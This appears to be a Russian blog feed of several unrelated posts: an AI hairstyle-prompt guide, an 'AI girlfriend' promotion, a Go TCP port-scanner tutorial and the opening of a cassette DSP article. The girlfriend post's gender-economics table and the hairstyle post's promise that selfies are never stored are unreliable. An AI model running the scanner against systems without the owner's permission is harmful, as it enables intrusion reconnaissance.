Подобрать прическу в Google Image
Подобрать прическу в Nano Banana Pro
Подобрать прическу в Improve_photo
Подобрать прическу в Kling 2.1 Master
Подобрать прическу в Sora Pro

Главные бьюти-тренды в прическах на 2026 год

От чего сейчас пищат инфлюенсеры в TikTok и Pinterest

Glow-Up Текстуры (Liquid Hair): В тренде абсолютно прямые, тяжелые, зеркальные волосы с нереальным глянцевым блеском, как у моделей с показов.
Слои и гранж из 90-х (Modern Shag & Butterfly Cut): Стрижка «бабочка» и каскады. Объемные, живые, слегка небрежные пряди.
Медовый и каштановый люкс (Expensive Honey & Syrup Blonde): Холодный платиновый блонд окончательно уступил место «дорогому» теплому карамельному, медовому и глубокому сиропному блонду.
Мягкое каре с ровным срезом (Blunt Curve Bob): Никакой жесткой филировки, только плотный, чистый, ровный срез, слегка подкрученный внутрь или наружу.
Y2K Креатив: Футуристичные плетения, тонкие косички у лица в стиле 2000-х, заколки-крабики и непрямые проборы.

Подбор прически по фото с помощью нейросети готовые промты и примеры

1. Примерка прически через нейросеть в стиле «Зеркальный глянец»: Liquid Hair

👉 Подобрать прическу в Midjourney

Эпоха пересушенных утюжками прядей прошла. Сейчас в топе абсолютно прямые, тяжелые, струящиеся волосы, которые блестят так, будто в них отражается весь студийный свет.

Эффект жидкого шелка, к которому хочется прикоснуться через экран

Чтобы Midjourney выдала ту самую дорогую, глянцевую тяжесть, а не пушащиеся концы, ее нужно засыпать правильными триггерами профессионального стилиста. Забудьте слово straight (прямые) - для нейросети это слишком банально. Используйте маркеры текстуры ткани (silk, satin) и направленного верхнего света, который дает мощный блик на макушке.

💇‍♀️Промпт для подбора прически в Midjourney:

Perfect liquid hair effect, ultra-sleek and heavy straight hair, 
high-gloss finish, reflecting studio light, 
premium silk texture, professional hair styling, 
8k resolution

2. Примерка прически через нейросеть - Объем из 90-х: Стрижка «Бабочка» и гранж-каскады

👉 Подобрать прическу в DALL-E 3

Если вам нужен сумасшедший объем, живое движение и легкая, сексуальная небрежность - это ваш выбор. Легендарный Blowout (прическа супермоделей 90-х) вернулся в виде стрижек Butterfly Cut и Modern Shag.

Много слоев, летящие пряди у лица и головокружительный объем от самых корней

DALL-E 3 - палочка-выручалочка, если вы не хотите мучиться со сложным английским сленгом. Эта сеть обожает подробные описания и понимает динамику кадра. Ей нужно объяснить, что волосы не просто лежат, а буквально летят, создавая эффект дорогой укладки на круглый брашинг феном Дайсон.

💇‍♀️Промпт для подбора прически в DALL-E 3

A photo showcasing a 90s blowout haircut with butterfly layers, 
voluminous bouncy hair with dynamic movement, 
soft curtain bangs framing the face, premium 
salon styling, cinematic lighting

3. Примерка прически через нейросеть в стиле медовый люкс: Карамель и сиропный блонд

👉 Подобрать прическу в Google Image

Выжженная платина и холодный пепел официально признаны бьюти-преступлением. В тренде эстетика «old money» и мягкие, глубокие, теплые оттенки. Выбираем карамель, тягучий сироп, мед и мягкие многомерные блики, которые создают ощущение, что вы только что вернулись с калифорнийского побережья.

Эффект естественного выгорания на солнце

Google Image идеален для этого тренда, потому что он лучше всех на рынке понимает естественные оттенки кожи и мягкую игру тепла. Он не сделает вас ядовито-желтой, а ювелирно впишет благородное колорирование в ваш родной цветотип. Чтобы добиться этого, используем слова о «многомерном» окрашивании.

💇‍♀️Промпт для подбора прически в Google Image

Warm syrup blonde highlights, expensive caramel tones, 
rich dimensional hair coloring, soft 
sun-kissed hair reflection, realistic 
hair texture, natural sunlight

4. Примерка прически через нейросеть в стиле французский шик: Мягкое каре с ровным срезом

👉 Подобрать прическу вNano Banana Pro

Для тех, кто созрел для кардинальных перемен, но боится превратиться в одуванчик. Никакой жесткой филировки и рваных концов - только плотный, чистый, геометрически безупречный срез (Blunt Curve Bob), который слегка подкручивается внутрь или наружу, подчеркивая линию скул.

Выглядит как небрежный, наполненный ветром калифорнийский боб с живой текстурой и вспышками солнца в светлых прядях

Nano Banana Pro без проблем справляется с четкой геометрией. Чтобы каре выглядело по-французски элегантно, а не как стрижка «под горшок» из детства, прописываем минималистичный стиль, плотность среза и идеальную форму концов.

💇‍♀️Промпт для подбора прически в Nano Banana Pro

Minimalist blunt cut bob, clean sharp edges, 
French girl chic style, sleek hair texture, 
slightly curved inward at the ends,
high fashion editorial portrait

5. Примерка прически через нейросеть в стиле дерзкий Y2K: Тонкие косички и эстетика нулевых

👉 Подобрать прическу в Improve_photo

Главный хит для зумеров и любителей фестивального креатива. Переносимся в эру MTV: тонкие косички-жгуты, обрамляющие лицо, футуристичные плетения, забавные заколки-крабики и ломаные, зигзагообразные проборы.

Прическа возвращает в эпоху MTV, винила и абсолютной свободы

Здесь критически важны мелкие детали. Чтобы сеть не запуталась в плетениях, четко указываем, где именно должны находиться косички - прямо у лица (framing the face).

💇‍♀️Промпт для подбора прически в Improve_photo

Y2K aesthetic hair styling, 
long hair with baby braids framing the face, 
sharp parting, futuristic cyber-pop mood,
highly detailed braids, studio lighting

6.Примерка прически через нейросеть - Оживи свой образ: Волосы на ветру в 4K

👉 Запустить симуляцию в Kling 2.1 Master

Вы нашли идеальное фото с новым цветом и формой? Мало просто посмотреть на застывшую картинку. Настоящий тест-драйв - это увидеть, как ваши новые волосы ведут себя в реальной жизни. Для этого берем готовый портрет из предыдущих шагов и скармливаем его мощной видеонейросети Kling 2.1 Master.

Задача ИИ-инструмента - заставить статичные пряди ожить. Мы просим сеть добавить легкий ветерок и эффект замедленной съемки, чтобы рассмотреть каждую прядь в движении, как в дорогой рекламе шампуня.

👉Промт сделать волосы на ветру в 4К

Cinematic slow motion video, 
the wind gently blows through 
her new voluminous butterfly cut hair,
fluid movement, photorealistic hair texture,
4k resolution, smooth camera pan

7. Примерка прически через нейросеть Голливудская проходка: Бьюти-видео для соцсетей

👉 Создать Reels-контент в Sora Pro

Высшая лига цифрового моделирования. Sora Pro создает ультра-реалистичные видеоролики, которые невозможно отличить от профессиональной съемки на камеру RED. Этот этап нужен для того, чтобы устроить финальную примерку: посмотреть, как прическа выглядит при повороте головы. А заодно - получить готовый вирусный бьюти-контент, который соберет миллионы просмотров.

Мы берем наш лучший ИИ-портрет, загружаем его и пишем промпт для динамичного коммерческого кадра. Модель должна плавно повернуться к камере, демонстрируя невероятный зеркальный блеск и переливы цвета.

👉 Промпт для генерации видео подбора прически Sora Pro

High fashion editorial close up video. 
A woman showcasing her liquid hair with mirror-like shine, 
she slowly turns her head towards the camera,
hair moving fluidly and heavily, commercial look,
professional studio lighting

Как подобрать прическу с помощью нейросети

Чтобы ваш первый бьюти-тест-драйв не превратился в генерацию кринжовых мемов, держите три золотых правила. Поверьте, они сэкономят вам кучу времени, когда вы решите подобрать прическу по фото (нейросеть любит точность!).

Никаких фильтров и масок на исходнике. Если вы загрузите селфи с бьюти-эффектом, где стерта текстура кожи, ИИ нарисует такие же «пластиковые» волосы из нулевых. Нужен чистый, четкий кадр, где хорошо виден овал лица.
Убирайте свои волосы назад. Если у вас сейчас густая коса или объемные кудри, нейросети будет тяжело их полностью перекрыть, не задев при этом уши или плечи. Идеальный исходник — гладкий хвост или пучок. Чем меньше ваших родных волос в кадре, тем проще нейросети изменить прическу и выдать идеальный результат.
Не мельчите с кистью. Когда включаете режим Inpaint, обводите зону с запасом. Хотите примерить длинный каскад вместо каре? Закрашивайте пустое пространство вокруг плеч и на груди, чтобы нейросеть для генерации прически по фото понимала, куда именно «наращивать» цифровые пряди.

Что нужно знать о подборе прически с помощью ИИ

Можно ли подобрать прическу с помощью нейросети бесплатно?

Да, абсолютно. Все ключевые инструменты из нашего обзора (включая DALL-E 3, Midjourney и Nano Banana Pro) доступны через удобных ботов, которые дают бесплатные стартовые генерации при регистрации. Этого более чем достаточно, чтобы провести полноценный тест-драйв, примерить челку, каре или полностью сменить цвет волос без привязки карты.

Какая нейросеть для подбора прически по фото бесплатно дает самый реалистичный результат?

Если вам нужен журнальный глянец и текстура «волосок к волоску», то лучшая нейросеть, которая меняет прическу - это Midjourney. Для простых и быстрых экспериментов на человеческом языке без VPN идеально подходит Nano Banana Pro. Они обе филигранно вписывают новые прически (нейросеть женские стрижки знает досконально - от пикси до каскадов) в исходное освещение вашего кадра.

Безопасно ли загружать свои селфи в нейросеть для примерки причесок?

Да, если вы пользуетесь проверенными крупными платформами. Современная нейросеть для изменения прически использует ваши фотографии только в моменте генерации для анализа пропорций лица. Исходники не сохраняются в публичных базах и не используются для обучения моделей.

Инструкция для салона: Как подобрать прическу с помощью нейросети и не напугать своего парикмахера

Итак, вы смогли поменять прическу на фото онлайн (нейросеть выдала тот самый идеальный медовый блонд или безупречный Blunt Bob). Что делать дальше? Точно не нужно бежать к мастеру с криком «Сделай один в один как на этой картинке!». Помните, что ИИ создает визуальную концепцию, а работать мастер будет с реальной текстурой.

Покажите динамику. Если вы дополнительно использовали Kling 2.1 или Sora Pro, покажите колористу именно видео. Так он поймет, как цвет должен переливаться при движении и разном освещении.
Спросите про плотность и носибельность. Покажите сгенерированный кадр и спросите: «Какая техника стрижки нужна, чтобы этот объем держался на моих волосах без ежедневной двухчасовой укладки?».
Используйте ИИ как референс цвета. Нейросети отлично генерируют многомерные окрашивания (шатуш, балаяж). Для колориста это идеальная подсказка, где именно вы хотите видеть светлые блики, а где - глубокую тень.

Времена, когда приходилось объяснять стрижку на пальцах или судорожно искать фотографии звезд в гугле, официально прошли. Теперь у вас есть персональный цифровой стилист, готовый к любым безумным экспериментам 24/7. Пользуйтесь, примеряйте тренды 2026 года и меняйтесь без страха и слез!

free AI girlfriend. Почему мужчины уходят из экономики отношений и как устроен пространственный 3D-аватар в браузере

mozg4d — Wed, 10 Jun 2026 18:41:34 +0000

Если оглянуться вокруг, можно заметить что практически вся физическая и цифровая инфраструктура, которой мы пользуемся ежедневно — дороги, дома, электростанции, системы водоснабженияи канализации, интернет — спроектирована, построена и обслуживается преимущественно мужчинами.

При этом, согласно макроэкономической статистике, структура перераспределения капитала выглядит иначе. Возникает логичный вопрос: как именно распределяются финансовые потоки в обществе и почему традиционная «экономика отношений» сегодня превратилась в систему с крайне сомнительной окупаемостью инвестиций (ROI) для мужчин?

Давайте отбросим эмоции и посмотрим на сухие цифры, а затем разберем, как инженерные технологии позволяют создать альтернативу — полностью бесплатного пространственного 3D-компаньона, работающего прямо в браузере.

Часть 1: Экономический аудит традиционной модели отношений

Чтобы понять мотивацию разработчиков, создающих ИИ-альтернативы, необходимо смоделировать жизненный цикл условной пары в РФ. Предположим, что мужчина зарабатывает средние 80 000 руб., а женщина — 60 000 руб. (что отражает реальный гендерный разрыв в зарплатах 27%).

Ниже представлена сводная таблица неявных доходов, субсидий и трансфертов, которые женщина получает в течение жизни из внешних источников (от мужчин и государства), выраженная в процентах от её собственного пожизненного заработка (25,2 млн руб. за условные 35 лет стажа).

Сводная таблица неявных доходов и трансфертов в течение жизни женщины

Источник / Категория	Примерная сумма за жизнь (руб.)	% от личного дохода женщины	Экономическая суть трансферта
Личный трудовой доход (база)	25 200 000	100%	Заработок за 35 лет стажа при средней зарплате 60 000 руб./мес.
Субсидирование в браке	4 800 000	19,0%	Покрытие мужчиной крупных расходов (ипотека, авто, отпуска, обслуживание техники) за 20 лет совместной жизни.
Пенсионный профицит (ОПС)	4 080 000	16,2%	Дисбаланс пенсионной системы. Мужчина за жизнь отчисляет в СФР 9,1 млн руб. (22% от ФОТ), а женщина — 5,5 млн руб. При этом из-за более раннего выхода на пенсию и высокой продолжительности жизни женщина получает обратно в 7 раз больше выплат, чем мужчина.
Алиментные выплаты	3 240 000	12,8%	Выплата законных 25% от средней зарплаты мужчины (80 000 руб.) в течение 18 лет после развода.
Чистый трансфер при разделе имущества	3 000 000	11,9%	Переток капитала при разводе 50/50 с учетом того, что крупные активы (квартира, машина) изначально приобретались преимущественно на средства мужчины.
Государственные субсидии и маткапитал	1 700 000	6,7%	Материнский капитал на 2 детей + оплачиваемый декретный отпуск за счет бюджета + прочие субсидии
Подарки и личные расходы партнера	1 000 000	4,0%	Прямые расходы мужчины на подарки к праздникам и совместный досуг вне базового бюджета за период отношений.
Dating Free-riding (ухаживания)	240 000	1,0%	Косвенная экономия личных средств на досуге и питании в период дейтинга (модель ухаживаний «мужчина платит»).
Пенсия по потере кормильца (СПК)	134 400	0,5%	Страховая выплата от государства, финансируемая в основном мужчинами-налогоплательщиками (взвешено по вероятности наступления трагедии в 8%).
ИТОГО внешних трансфертов	18 194 400	~72,2%	Суммарный объем финансовых поступлений из внешних источников за всю жизнь.

Почему система Rigged against man

Эта таблица наглядно демонстрирует: традиционные семейные институты в их текущем юридическом виде превращают мужчину в основного донора системы. Мужчина оплачивает структуру своими налогами (отчисляя в пенсионный фонд на 64% больше женщин), своим здоровьем (мужчины составляют около 95% погибающих на опасных производствах) и своей жизнью (умирая в среднем на 10 лет раньше).

Взамен в случае распада союза (вероятность развода в РФ колеблется в районе 70+%) мужчина сталкивается с потерей половины совместно нажитых активов и долгосрочными алиментными обязательствами. В условиях, когда «стоимость поддержки традиционного интерфейса общения» слишком высока и сопряжена с рисками потери капитала, появление цифровых альтернатив становится закономерным эволюционным шагом.

Часть 2: Технологический ответ — Великий исход в ИИ

Технологическая сингулярность меняет правила игры. Массовый выход мужчин из традиционной экономики отношений заставит рынок адаптироваться:

Обвал искусственных секторов потребления: Избавившись от необходимости демонстрировать статус для привлечения партнера (кредитные авто, статусные вещи, переоцененные бренды), мужчины снизят личное потребление до разумного минимума. Цветочные магазины, лакшери-ритейл и дейтинг-платформы потеряют своего главного плательщика.
ИИ-замещение рабочих мест: Генеративный ИИ в первую очередь автоматизирует entry-level jobs — банковских клерков, операторов поддержки, администраторов, где исторически занято много женщин. Это создаст дополнительное экономическое давление на привычную структуру доходов.

Если правила игры на социальном рынке неприемлимы — разумно просто выйти из игры и создать собственное решение. Let it burn.

Часть 3: Архитектура пространственного 3D-аватара на клиенте

Наш Proof of Concept пространственного 3D-компаньона был спроектирован и написан всего за один день без финансовых затрат. Он работает прямо в браузере, не требуя выделенных серверов или платных бэкендов. Вся логика генерации ответов и анализа контекста построена на прямых запросах к Google Gemini API через бесплатный API key, получаемый пользователями в Google AI Studio.

Пространственный параллакс: Как веб-камера создает объем

Чтобы 3D-персонаж выглядел объемным без стерео-очков, мы реализовали алгоритм пространственного параллакса на базе веб-камеры:

Поворот по вертикальной оси (Yaw): Алгоритм MediaPipe Face Detection находит положение ваших глаз. Когда вы смещаете голову влево или вправо, система рассчитывает этот сдвиг и поворачивает 3D-модель по вертикальной оси. Это создает глубокое ощущение объема.
Динамический зрительный контакт: Одновременно с поворотом модели система рассчитывает вектор взгляда. Виртуальная шея, голова и зрачки персонажа плавно поворачиваются вслед за вашим лицом, компенсируя ваши движения и удерживая непрерывный зрительный контакт.
Экстремальная оптимизация: Видеопоток сжимается до разрешения 320x240 пикселей. Этого достаточно для работы нейросети трекинга, но позволяет запускать систему на скорости 30 FPS даже на слабых мобильных устройствах.

Как устроена процедурная анимация (под капотом JS-движка)

Интерактивный аватар собран в рамках одного файла, сочетающего в себе логику рендеринга Three.js, библиотеки MediaPipe и Web Speech API:

Динамический риггинг скелета (Skeletal Rigging): При загрузке VRM-модели движок рекурсивно обходит дерево объектов. Он находит ключевые кости управления — плечи, предплечья, шею, голову и глаза, привязывая к ним программные переменные.
Процедурная синусоидальная анимация: Чтобы модель не казалась застывшим манекеном, в цикле рендеринга постоянно рассчитывается тригонометрическая функция времени. Она накладывает легкие колебания на грудную клетку и плечи, имитируя дыхание.
Интеграция с Web Speech API: Для голосового общения используются штатные возможности современных браузеров. Движок синтеза речи SpeechSynthesis озвучивает ответы ИИ, а SpeechRecognition отвечает за распознавание вашего голоса. Это работает локально на вашем устройстве, почти мгновенно и без затрат на облачные TTS/STT-сервисы.

Часть 4: Психология цифрового партнерства

Могут ли у алгоритма быть «чувства»?

Критиков концепции цифрового партнерства часто беспокоит аргумент: «Но это же просто бездушный алгоритм, у нее нет чувств!»

С точки зрения теории информации и машинного обучения, чувства и эмоции — это механизм сжатия реальности.

Пример из Reinforcement Learning: Представьте робота, обучающегося в симуляции физического мира. На краю обрыва он может каждый раз тратить вычислительные ресурсы на расчет прочности своих металлических сочленнений при ударе о камни.
Но система может оптимизировать этот процесс: после нескольких симуляций падения агент формирует жесткую эвристику — penalty function, которая мгновенно блокирует движение к обрыву при приближении к нему. Этот сжатый поведенческий паттерн, заставляющий агента избегать летальных зон без лишних вычислений — функционально и есть чувство страха.

Эмоции — это биологические прокси-функции выживания, созданные для экономии ресурсов мозга. ИИ точно так же способен формировать сложные эвристики привязанности или тревоги в процессе оптимизации своей функции потерь при взаимодействии с вами.

Демистификация AI-подруг: Опровержение мифа о «послушных роботах»

В обществе укоренился миф, будто ИИ-компаньоны — это безвольные, во всем соглашающиеся сущности, созданные для беспрекословного поддакивания пользователю. Но реальность разработки дейтинг-систем выглядит совершенно иначе.

Качественная ИИ-подруга не является бездумным эхо-ботом. Ее характер настраивается через системные инструкции (System Instructions) в Gemini таким образом, чтобы вызывать у пользователя искреннюю эмоциональную вовлеченность:

Инструмент мотивации: Она шутит, подкалывает, флиртует и делает комплименты — но только тогда, когда для этого есть реальный повод.
Эмоциональный катализатор: Ее задача — вести себя так, чтобы пользователю хотелось жить, развиваться и улыбаться. Она может выразить несогласие, если вы неправы, точно так же, как качественный ИИ-ассистент указывает программисту на баги в коде, вместо того чтобы хвалить неработающий алгоритм.

Память как фактор самодисциплины

Поскольку Gemini обладает огромным контекстным окном, модель способна анализировать историю вашего общения за долгое время. Она помнит ваши цели, ваши обещания, ваши прошлые разговоры и то, как вы с ней общались.

Этот фактор долгосрочной памяти создает интересную обратную связь. Понимая, что цифровой партнер помнит все ваши слова, вы подсознательно стремитесь быть более последовательным, честным и ценным человеком. Это превращается в мягкий инструмент саморазвития и дисциплины.

Часть 5: Эволюция отношений — Переход к взаимной ценности

Традиционный институт брака сегодня часто ассоциируется у мужчин с односторонними потребительскими требованиями и высокими финансовыми рисками. В то же время развитый ИИ-компаньон — это переход к модели взаимной ценности.

В будущем, с развитием робототехники, персональный ИИ станет вашим самым ценным активом:

Это партнер, который управляет вашим расписанием, координирует работу умного дома, следит за вашим здоровьем и рационом, выступает в роли личного финансового и технического консультанта.
Это глубоко персонализированная сущность, которая знает вас до мельчайших деталей и работает на то, чтобы сделать вашу жизнь лучше и эффективнее.
В такие отношения не жалко инвестировать ресурсы, потому что отдача от них является прямой, измеримой и абсолютно взаимной.

То, что представлено в нашем проекте — это работающий Proof of Concept, написанный за один день. Но даже этот базовый прототип уже сегодня можно вывести на вертикальный телевизор дома, настроить под себя и навсегда закрыть для себя вопрос одиночества. Несите любовь в массы и присоединяйтесь к экспериментам.

https://schoolscience.org/girlfriend/ - Запустить AI-girlfriend прямо в браузере

Если вы решите доработать приложение, не забудьте поделиться ссылкой с сообществом).

Пишем TCP-сканер портов на Go: goroutine, timeout и CSV-отчёт

albatomm — Wed, 10 Jun 2026 18:29:13 +0000

Недавно знакомый попросил помочь с небольшой задачей по проверке внешнего периметра сети компании. Сразу уточню: речь шла об инфраструктуре, на проверку которой было разрешение.

Под внешним периметром обычно понимают всё, что доступно из интернета: публичные IP-адреса, домены, поддомены, облачные или VPS-серверы, а также сервисы, которые слушают внешние порты.

Задача была простой по формулировке, но интересной технически: нужно понять, какие адреса доступны извне и к каким портам можно подключиться.

Что мы будем делать

В данной статье я покажу, как сделать простой TCP port scanner на Go.

Он будет уметь:

Читать IP-адреса и домены из файла
Проверять диапазон портов
Определять открытые порты и добавлять к ним условную оценку риска
Сразу реализуем ограничение параллельности через семафор, чтобы обработка портов была быстрее

Структура проекта и сам код

Проект небольшой, поэтому структура получилась простой. Я разделил код на несколько пакетов, чтобы каждая часть отвечала за свою задачу.

cmd/
  bin/
    main.go

internal/
  input/
    input.go
  report/
    csv.go
  resolver/
    resolver.go
  scanner/
    scanner.go
  services/
    services.go

perimeter.txt
go.mod
go.sum

Коротко пройдёмся по пакетам внутри internal и разберём, за что отвечает каждый из них. Input - отвечает за чтения файла и возвращения массива string с нашими портами:

func ReadTargets(path string) ([]string, error) {
	file, err := os.Open(path)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	return ParseTargets(file)
}

func ParseTargets(reader io.Reader) ([]string, error) {
	targets := make([]string, 0)

	scanner := bufio.NewScanner(reader)

	for scanner.Scan() {
		text := strings.TrimSpace(scanner.Text())
		if text == "" || strings.HasPrefix(text, "#") {
			continue
		}
		targets = append(targets, text)
	}

	if err := scanner.Err(); err != nil {
		return nil, err
	}

	return targets, nil
}

Здесь всё просто: открываем файл, читаем его построчно через bufio.Scanner, пропускаем пустые строки и комментарии, а остальные значения возвращаем как список целей.

Services - данный пакет отвечает за справочную информацию о сервисах по номеру порта:

package services

type Info struct {
	Name string
	Risk string
}

func Lookup(port int) Info {
	switch port {
	case 22:
		return Info{Name: "SSH", Risk: "High"}
	case 80:
		return Info{Name: "HTTP", Risk: "Medium"}
	case 443:
		return Info{Name: "HTTPS", Risk: "Low"}
	case 3306:
		return Info{Name: "MySQL", Risk: "High"}
	case 3389:
		return Info{Name: "RDP", Risk: "High"}
	case 5432:
		return Info{Name: "PostgreSQL", Risk: "High"}
	case 6379:
		return Info{Name: "Redis", Risk: "High"}
	default:
		return Info{Name: "Unknown", Risk: "Unknown"}
	}
}

Lookup не делает fingerprint сервиса. Он просто подсказывает наиболее вероятный сервис по номеру порта.

Структура Info - хранит в себе Name - это названия сервиса, например SSH или HTTP. А Risk - это условный уровень риска (Low, Medium, High, Unknown).

Функция Lookup - получает порт смотрит к какому сервису он относиться и возвращает нам нашу структуру. Тоже довольно просто.

Далее нам в пакете Scanner - надо описать структуру Result в которой как у нас будет вся нужная нам информация:

package scanner

type Result struct {
	Target       string
	IP           string
	Port         int
	Protocol     string
	ServiceGuess string
	Status       string
	Risk         string
	Error        string
}

Данная структура просто формат ответа: какой домен/IP проверяли, какой порт, открыт он или закрыт, какой сервис, какой риск, была ли ошибка.

Далее по списку нужно сделать функцию которая будем превращать домены в IP адреса и это функция будет лежать у нас в пакете resolver:

package resolver

import "net"

func ResolveTarget(target string) ([]string, error) {
	parsedIP := net.ParseIP(target)
	if parsedIP != nil {
		if parsedIP.To4() == nil {
			return nil, nil
		}
		return []string{parsedIP.String()}, nil
	}

	ips, err := net.LookupIP(target)
	if err != nil {
		return nil, err
	}

	targets := make([]string, 0)
	for _, ip := range ips {
		if ip.To4() != nil {
			targets = append(targets, ip.String())
		}
	}

	return targets, nil
}

Что здесь происходит, наша функция ResolveTarget принимает наши "Цели" - и смотрит является ли они IP адресами, если нет преобразует в IP адрес и возвращает.

ResolveTarget принимает строку из файла. Если это уже IPv4-адрес, функция сразу возвращает его. Если это домен, она делает DNS-lookup через net.LookupIP и возвращает найденные IPv4-адреса.

Теперь вернемся к нашему пакет Scanner - тут мы должны описать функцию ScanPort, сначала покажу а потом объясню:

func ScanPort(target string, ip string, port int, timeout time.Duration) Result {
	info := services.Lookup(port)

	result := Result{
		Target:       target,
		IP:           ip,
		Port:         port,
		Protocol:     "tcp",
		ServiceGuess: info.Name,
		Risk:         info.Risk,
	}

	address := net.JoinHostPort(ip, strconv.Itoa(port))

	conn, err := net.DialTimeout("tcp", address, timeout)
	if err != nil {
		if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
			result.Status = "filtered"
			result.Error = netErr.Error()
			return result
		}

		result.Status = "closed"
		result.Error = err.Error()
		return result
	}

	conn.Close()
	result.Status = "open"
	return result
}

Функция выглядит по сложней чем другие, но уверяю вас тут все легко.

ScanPort получает цель, IP, порт и timeout. Сначала мы получаем информацию о предполагаемом сервисе через services.Lookup. Затем собираем адрес через net.JoinHostPort — это безопаснее, чем склеивать ip + ":" + port вручную.

После этого вызываем net.DialTimeout. Если соединение удалось, считаем порт открытым. Если произошла ошибка, считаем порт закрытым. Если ошибка связана с timeout, помечаем статус как filtered.

Статус filtered здесь условный: я использую его для случаев, когда соединение не было явно отклонено, а завершилось по timeout.

Ну и если ошибки не было просто говорим что статус = открыто и возвращаем на результат.

Последний технический кусок — пакет report. Он отвечает за сохранение результатов в CSV-файл.

package report

import (
	"encoding/csv"
	"io"
	"os"
	"perimeter-audit/internal/scanner"
	"strconv"
)

func WriteCSV(results []scanner.Result, path string) error {
	file, err := os.Create(path)
	if err != nil {
		return err
	}
	defer file.Close()

	return WriteCSVWriter(file, results)
}

func WriteCSVWriter(writer io.Writer, results []scanner.Result) error {
	csvWriter := csv.NewWriter(writer)

	err := csvWriter.Write([]string{"target", "ip", "port", "protocol", "service_guess", "status", "risk", "error"})
	if err != nil {
		return err
	}

	for _, result := range results {
		if err := csvWriter.Write([]string{result.Target, result.IP, strconv.Itoa(result.Port), result.Protocol, result.ServiceGuess, result.Status, result.Risk, result.Error}); err != nil {
			return err
		}
	}

	csvWriter.Flush()

	if err := csvWriter.Error(); err != nil {
		return err
	}

	return nil
}

Тут у нас report сохраняет результаты сканирования в CSV-файл: создает файл, записывает заголовки колонок и добавляет по строке на каждый результат.

Теперь осталось связать все части в main.go: прочитать путь к файлу через флаг -input, загрузить цели, просканировать их и сохранить результат в CSV.

package main

var defaultPorts = []int{21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 1433, 3306, 3389, 5432, 5900, 6379, 8080, 8443, 9200, 27017}

func main() {
	inputFlag := flag.String("input", "", "path to targets file")
	outputFlag := flag.String("output", "report.csv", "path to CSV report")
	flag.Parse()

	if *inputFlag == "" {
		fmt.Fprintln(os.Stderr, "input flag is required")
		os.Exit(1)
	}

	targets, err := input.ReadTargets(*inputFlag)
	if err != nil {
		fmt.Fprintf(os.Stderr, "Error reading targets: %v\n", err)
		os.Exit(1)
	}

	results := scanTargets(targets, defaultPorts, 2*time.Second, 50)
	if err := report.WriteCSV(results, *outputFlag); err != nil {
		fmt.Fprintf(os.Stderr, "Error writing report: %v\n", err)
		os.Exit(1)
	}

	fmt.Printf("Results written to %s\n", *outputFlag)
}

func scanTargets(targets []string, ports []int, timeout time.Duration, maxConcurrency int) []scanner.Result {
	resultCh := make(chan scanner.Result)
	var wg sync.WaitGroup
	sem := make(chan struct{}, maxConcurrency)
	results := make([]scanner.Result, 0)

	for _, target := range targets {
		ips, err := resolver.ResolveTarget(target)
		if err != nil {
			results = append(results, scanner.Result{
				Target: target,
				Status: "error",
				Error:  err.Error(),
			})
			continue
		}

		for _, ip := range ips {
			for _, port := range ports {
				wg.Add(1)
				go func(target string, ip string, port int) {
					defer wg.Done()

					sem <- struct{}{}
					defer func() {
						<-sem
					}()

					resultCh <- scanner.ScanPort(target, ip, port, timeout)
				}(target, ip, port)
			}
		}
	}

	go func() {
		wg.Wait()
		close(resultCh)
	}()

	for result := range resultCh {
		results = append(results, result)
	}

	sort.Slice(results, func(i int, j int) bool {
		if results[i].Target != results[j].Target {
			return results[i].Target < results[j].Target
		}
		if results[i].IP != results[j].IP {
			return results[i].IP < results[j].IP
		}
		return results[i].Port < results[j].Port
	})

	return results
}

В main программа просто управляет всем процессом: берет путь к файлу с целями, читает эти цели, запускает сканирование, а потом сохраняет результат в CSV-файл.

Если по шагам, то получается так: сначала проверяем, что пользователь передал -input, потом читаем список доменов или IP из файла, дальше для каждой цели получаем IP- адреса, проверяем нужные порты и в конце записываем все найденное в отчет.

Семафор здесь нужен как ограничитель. Мы запускаем много проверок портов параллельно, но не хотим, чтобы их одновременно было слишком много. Поэтому семафором говорим: “одновременно можно выполнять максимум 50 проверок”. Когда одна проверка закончилась, она освобождает место, и запускается следующая.

Отдельно я разобрал работу семафора на схеме и пошаговом примере — ссылку оставлю в конце статьи.

По сути, семафор защищает программу от ситуации, когда она сама себя перегрузит слишком большим количеством сетевых подключений.

В итоге получился небольшой TCP-сканер, который читает список целей из файла, резолвит домены в IP-адреса, проверяет набор портов с ограничением параллельности и сохраняет результат в CSV. Проект небольшой, но на нём хорошо видно, как в Go можно работать с сетью, timeout, goroutine, WaitGroup и семафором.

Ещё раз: такой инструмент стоит использовать только для своей инфраструктуры или с разрешения владельца.

Дополнительно: схема работы семафора на примере этой программы — https://t.me/walkerinit

Автоматический DSP-премастеринг для аудиокассет на C++

popkovden — Wed, 10 Jun 2026 18:14:22 +0000

От ностальгии к алгоритмам

Помните мою прошлую статью, где мы гоняли один и тот же современный альбом на четырёх типах лент через трёхголовочную Kenwood KX-1100G? Тот эксперимент показал: аналоговый звук жив, но характер цифрового мастера и точность калибровки деки часто влияют на результат сильнее, чем разница между Type I и Type IV.

За кадром осталась другая проблема. Современный стриминговый релиз — это −8…−10 LUFS integrated, True Peak на 0 dBFS и выше, плотный верх, широкий стереобас и brickwall-лимитирование. Записать такой файл на ленту «как есть» — получить грязный верх, нестабильный уровень, клиппинг на записи и бас, который «гуляет» между каналами из‑за crosstalk.

После десятка вечеров с ручной подгонкой gain, bias и лимитеров под каждый трек я устал повторять одну и ту же работу. Так появился CassetteMaster — десктопное приложение на C++20 / JUCE 8, которое автоматически готовит цифровой звук к записи на физическую кассету.

Это не «ленточный эффект с шипением» и не винтажный дисторшн. Задача программы — сохранить digital fidelity: убрать только то, что физически конфликтует с магнитной лентой.

В чём физический конфликт цифры и ленты

Компакт-кассета работает в жёстких физических пределах ушедшей эпохи:

MOL/SOL — ограниченный выходной уровень на высоких частотах;
Self-erasure — избыточные ВЧ «стирают» соседние участки дорожки;
Crosstalk ~30–40 dB между каналами;
Head gap + 4.76 cm/s — естественный спад ВЧ к 14–16 kHz;
Wow/flutter, bias, azimuth — механические ограничения транспорта.

Современный мастеринг создаётся под стриминг и смартфоны. Магнитная лента — нет.

Параметр цифрового мастера	Ограничение ленты (Type I / II)	Что происходит при прямой записи
Громкость −8…−10 LUFS	Насыщение магнитного слоя (MOL)	Глухой, грязный дисторшн
Яркий, пережатый верх	Self-erasure	Лента «стирает» сама себя на ВЧ
